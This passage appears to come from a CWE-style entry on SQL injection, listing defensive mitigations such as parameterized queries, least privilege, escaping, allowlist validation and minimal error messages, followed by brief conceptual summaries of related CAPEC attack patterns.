- Process SQL queries using prepared statements, parameterized queries, or stored procedures. These features should accept parameters or variables and support strong typing. Do not dynamically construct and execute query strings within these features using "exec" or similar functionality, since this may re-introduce the possibility of SQL injection. [REF-867]
Mitigation MIT-17
Strategy: Environment Hardening
- Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
- Specifically, follow the principle of least privilege when creating user accounts to a SQL database. The database users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data. Use the strictest permissions possible on all database objects, such as execute-only for stored procedures.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-28
Strategy: Output Encoding
- While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
- Instead of building a new implementation, such features may be available in the database or programming language. For example, the Oracle DBMS_ASSERT package can check or enforce that parameters have certain properties that make them less vulnerable to SQL injection. For MySQL, the mysql_real_escape_string() API function is available in both C and PHP.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When constructing SQL query strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing SQL injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent SQL injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, the name "O'Reilly" would likely pass the validation step, since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise handled. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.
- When feasible, it may be safest to disallow meta-characters entirely, instead of escaping them. This will provide some defense in depth. After the data is entered into the database, later processes may neglect to escape meta-characters before use, and you may not have control over those processes.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of SQL Injection, error messages revealing the structure of a SQL query can help attackers tailor successful attack strings.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-108: Command Line Execution through SQL Injection
An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
CAPEC-109: Object Relational Mapping Injection
An attacker leverages a weakness present in the database access layer code generated with an Object Relational Mapping (ORM) tool or a weakness in the way that a developer used a persistence framework to inject their own SQL commands to be executed against the underlying database. The attack here is similar to plain SQL injection, except that the application does not use JDBC to directly talk to the database, but instead it uses a data access layer generated by an ORM tool or framework (e.g. Hibernate). While most of the time code generated by an ORM tool contains safe access methods that are immune to SQL injection, sometimes either due to some weakness in the generated code or due to the fact that the developer failed to use the generated access methods properly, SQL injection is still possible.
CAPEC-110: SQL Injection through SOAP Parameter Tampering
An attacker modifies the parameters of the SOAP message that is sent from the service consumer to the service provider to initiate a SQL injection attack. On the service provider side, the SOAP message is parsed and parameters are not properly validated before being used to access a database in a way that does not use parameter binding, thus enabling the attacker to control the structure of the executed SQL query. This pattern describes a SQL injection attack with the delivery mechanism being a SOAP message.
CAPEC-470: Expanding Control over the Operating System from the Database
An attacker is able to leverage access gained to the database to read / write data to the file system, compromise the operating system, create a tunnel for accessing the host machine, and use this access to potentially attack other machines on the same network as the database machine. Traditionally SQL injections attacks are viewed as a way to gain unauthorized read access to the data stored in the database, modify the data in the database, delete the data, etc. However, almost every data base management system (DBMS) system includes facilities that if compromised allow an attacker complete access to the file system, operating system, and full access to the host running the database. The attacker can then use this privileged access to launch subsequent attacks. These facilities include dropping into a command shell, creating user defined functions that can call system level libraries present on the host machine, stored procedures, etc.
CAPEC-66: SQL Injection
This attack exploits target software that constructs SQL statements based on user input. An attacker crafts input strings so that when the target software constructs SQL statements based on the input, the resulting SQL statement performs actions other than those the application intended. SQL Injection results from failure of the application to appropriately validate input.
CAPEC-7: Blind SQL Injection
Blind SQL Injection results from an insufficient mitigation for SQL Injection. Although suppressing database error messages are considered best practice, the suppression alone is not sufficient to prevent SQL Injection. Blind SQL Injection is a form of SQL Injection that overcomes the lack of error messages. Without the error messages that facilitate SQL Injection, the adversary constructs input strings that probe the target through simple Boolean SQL expressions. The adversary can determine if the syntax and structure of the injection was successful based on whether the query was executed or not. Applied iteratively, the adversary determines how and where the target is vulnerable to SQL Injection.